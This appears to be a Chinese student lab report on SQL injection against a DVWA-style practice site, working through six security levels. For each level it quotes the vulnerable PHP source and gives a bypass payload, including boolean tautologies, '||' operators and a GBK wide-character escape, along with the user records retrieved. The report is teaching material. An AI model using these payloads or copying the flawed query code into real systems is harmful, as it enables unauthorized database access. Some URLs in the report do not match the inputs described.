SQL注入实验

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本文详细记录了一次SQL注入实验，从安全等级1到5逐步破解的过程，包括注入方法和原理分析，展示了如何利用布尔连接符、宽字符注入等技巧绕过防护。

信息安全实验 SQL Injection

一.实验内容

1.Finish all six challenge on the website,or give the reason why the protection is unbreakable(need an experiment report ).

2(Extended work).Tell me why [input = a’ or ‘1=1’ or ‘1=1] doesn’t work on the login website in your experiment report.

二.实验过程

登陆实验网页：http://202.38.79.49:8888/login.php
登陆界面如下：
尝试输入默认用户名和用户密码：
Username: admin
Password: admin
成功登入系统！系统界面如下：

1.设置安全等级为1：Security Level = 1.
注入界面如下：
点击右下角的View Source,查看PHP连接后台数据库的源代码：

<?php     

if(isset($_GET['Submit'])){ 

    // Retrieve data 

    $id = $_GET['id']; 

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; 
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 

    $num = mysql_numrows($result); 

    $i = 0; 

    while ($i < $num) { 

        $first = mysql_result($result,$i,"first_name"); 
        $last = mysql_result($result,$i,"last_name"); 

        echo '<pre>'; 
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; 
        echo '</pre>'; 

        $i++; 
    } 
} 
?>

根据以上代码可知，可以利用$id变量的漏洞进行sql注入，向User ID文本框中输入查询字符串1=1 or 1=1,URL网址变成了http://202.38.79.49:8888/vulnerabilities/sqli/?id=1=1+or+1=1&Submit=Submit,获得如下数据库信息：

ID: 1=1 or 1=1
First name: admin
Surname: admin

ID: 1=1 or 1=1
First name: Gordon
Surname: Brown

ID: 1=1 or 1=1
First name: Hack
Surname: Me

ID: 1=1 or 1=1
First name: Pablo
Surname: Picasso

ID: 1=1 or 1=1
First name: Bob
Surname: Smith

Level 1注入成功。

2.设置安全等级为2：Security Level = 2.

点击右下角的View Source,查看PHP连接后台数据库的源代码：

<?php     

if(isset($_GET['Submit'])){ 

    // Retrieve data 

    $id = $_GET['id']; 

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; 
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 

    $num = mysql_numrows($result); 

    $i = 0; 

    while ($i < $num) { 

        $first = mysql_result($result,$i,"first_name"); 
        $last = mysql_result($result,$i,"last_name"); 

        echo '<pre>'; 
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; 
        echo '</pre>'; 

        $i++; 
    } 
} 
?>

将Security Level = 2的代码与Security Level = 1的代码进行比较，发现唯一的区别就是1的$getid变量中是WHERE user_id = $id,而2的$getid变量中是WHERE user_id = '$id',多了单引号。于是可以将输入查询串改为abc' or '1=1,将单引号过滤掉。URL网址变成了http://202.38.79.49:8888/vulnerabilities/sqli/?id=abc'+or+'1=1&Submit=Submit,获得如下数据库信息：

ID: abc' or '1=1
First name: admin
Surname: admin

ID: abc' or '1=1
First name: Gordon
Surname: Brown

ID: abc' or '1=1
First name: Hack
Surname: Me

ID: abc' or '1=1
First name: Pablo
Surname: Picasso

ID: abc' or '1=1
First name: Bob
Surname: Smith

Level 2注入成功。

3.设置安全等级为3：Security Level = 3.

点击右下角的View Source,查看PHP连接后台数据库的源代码：

<?php     

if(isset($_GET['Submit'])){ 

    // Retrieve data 

    $id = $_GET['id']; 
    if (preg_match('/ |\'/',$id))
    {
        echo die('<pre>' . 'Contain invalid characters.' . '</pre>');
        $num = 0; 
    }
    else
    {

        $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; 
        $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 

        $num = mysql_numrows($result); 
    }

        $i = 0; 

        while ($i < $num) { 

            $first = mysql_result($result,$i,"first_name"); 
            $last = mysql_result($result,$i,"last_name"); 

            echo '<pre>'; 
            echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; 
            echo '</pre>'; 

            $i++; 
        } 
} 
?>

将Security Level = 3的代码与Security Level = 1和2的代码进行比较，发现3的代码多了一段正则表达式的判定if (preg_match('/ |\'/',$id)),这个正则表达式的含义是，如果$id变量中含有空格或者单引号，则输出错误信息'Contain invalid characters.。于是我们尝试不用空格和单引号进行注入，将输入查询串改为1||1,利用||的布尔连接符，实施注入。
此时，URL网址变成了 http://202.38.79.49:8888/vulnerabilities/sqli/?id=1=1+or+1=1&Submit=Submit, 获得如下数据库信息：

ID: 1||1
First name: admin
Surname: admin

ID: 1||1
First name: Gordon
Surname: Brown

ID: 1||1
First name: Hack
Surname: Me

ID: 1||1
First name: Pablo
Surname: Picasso

ID: 1||1
First name: Bob
Surname: Smith

Level 3注入成功。

4.设置安全等级为4：Security Level = 4.

点击右下角的View Source,查看PHP连接后台数据库的源代码：

<?php 

if (isset($_GET['Submit'])) { 

    // Retrieve data 

    $id = $_GET['id']; 
    $id = mysql_real_escape_string($id); 

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; 

    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 

    $num = mysql_numrows($result); 

    $i=0; 

    while ($i < $num) { 

        $first = mysql_result($result,$i,"first_name"); 
        $last = mysql_result($result,$i,"last_name"); 

        echo '<pre>'; 
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; 
        echo '</pre>'; 

        $i++; 
    } 
} 
?>

将Security Level = 4的代码与Security Level = 1的代码进行比较，发现4的代码多了一段语句：$id = mysql_real_escape_string($id);,函数mysql_real_escape_string主要是为了数据库防注入、以及语句正确性等需要，将读写语句中的特殊字符进行转换: \x00 \n \r \ ' " \x1a,如果成功，则该函数返回被转义的字符串。如果失败，则返回 false。但最终写入到数据库中的内容，依旧是转义前的,也就是当读出来的时候，依旧是原来转义前的内容。所以，若注入语句中不包含特殊符号，依然可以成功注入，利用和Level1中相同的语句1=1 or 1=1进行注入，此时，URL网址变成了http://202.38.79.49:8888/vulnerabilities/sqli/?id=1||1&Submit=Submit,获得如下数据库信息：

ID: 1=1 or 1=1
First name: admin
Surname: admin

ID: 1=1 or 1=1
First name: Gordon
Surname: Brown

ID: 1=1 or 1=1
First name: Hack
Surname: Me

ID: 1=1 or 1=1
First name: Pablo
Surname: Picasso

ID: 1=1 or 1=1
First name: Bob
Surname: Smith

Level 4注入成功。

5.设置安全等级为5：Security Level = 5.

点击右下角的View Source,查看PHP连接后台数据库的源代码：

<?php 

if (isset($_GET['Submit'])) { 

    // Retrieve data 

    mysql_query('SET NAMES gbk');

    $id = $_GET['id']; 
    $id = mysql_real_escape_string($id); 

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; 
    echo '<a>' . $getid . '</a>';

    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 

    $num = mysql_numrows($result); 

    $i=0; 

    while ($i < $num) { 

        $first = mysql_result($result,$i,"first_name"); 
        $last = mysql_result($result,$i,"last_name"); 

        echo '<pre>'; 
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; 
        echo '</pre>'; 

        $i++; 
    } 
} 
?>

将Security Level = 5的代码与Security Level = 4的代码进行比较，发现5的代码多了一段语句：mysql_query('SET NAMES gbk');,且变量$getid中的$id变量两边和Level 2一样是有单引号的。以上语句将编码设置为gbk,我们可以在此利用宽字符注入的方式来获取数据库内容。设计$id值为abc%df%27%20or%201=1%20%23,并修改url地址为http://202.38.79.49:8888/vulnerabilities/sqli/?id=abc%df%27%20or%201=1%20%23&Submit=Submit,获得如下数据库信息：

以上注入的原理是利用了%df和经过转义函数mysql_real_escape_string()编码之后带入了字符’\’的编码%5c形成宽字符编码%df%5c，成功地吃掉了%5c,得以让%27的单引号闭合成功。

Level 5注入成功。

6.设置安全等级为Security Level = 6.

点击右下角的View Source,查看PHP连接后台数据库的源代码：

<?php     

if (isset($_GET['Submit'])) { 

    // Retrieve data 

    $id = $_GET['id']; 
    $id = stripslashes($id); 
    $id = mysql_real_escape_string($id); 

    if (is_numeric($id)){ 

        $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; 
        $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 

        $num = mysql_numrows($result); 

        $i=0; 

        while ($i < $num) { 

            $first = mysql_result($result,$i,"first_name"); 
            $last = mysql_result($result,$i,"last_name"); 

            echo '<pre>'; 
            echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; 
            echo '</pre>'; 

            $i++; 
        } 
    } 
} 
?>

将Security Level = 6的代码与Security Level = 4的代码进行比较，发现6的代码多了一段语句：$id = stripslashes($id);,stripslashes() 函数删除由mysql_real_escape_string() 函数添加的反斜杠，如果有两个连续的反斜线，则只去掉一个。
这里为什么要有这个操作呢？这是由于在high级别下，PHP的magic_quotes_gpc被自动设为on，magic_quotes_gpc被称为魔术引号，开启它之后，可以对所有的GET、POST和COOKIE传值的数据自动运行addslashes()函数，所以这里才要使用stripslashes()函数去除。magic_quotes_gpc功能在PHP5.3.0中已经废弃并且在5.4.0中已经移除了，这也是为什么在DVWA中一直强调使用mysql_real_escape_string()函数进行过滤的原因吧。
另外还可以发现，在执行查询之前，使用了if语句进行判断，判断的条件是一个is_numeric()函数，也就是判断用户输入的数据是否是数字型，只要不是数字型就一概报错，这样那些and、or、select等语句都无法执行了。
最后在具体执行查询时，还要求$id是字符型。经过这样重重防护，这样页面就很难注入了。
所以Level 6的后台代码在本实验中难以实施注入。
(补充：试试将1 or 1’语句转换为16进制0x31206f722031带入数据库进行查询，或许有效)。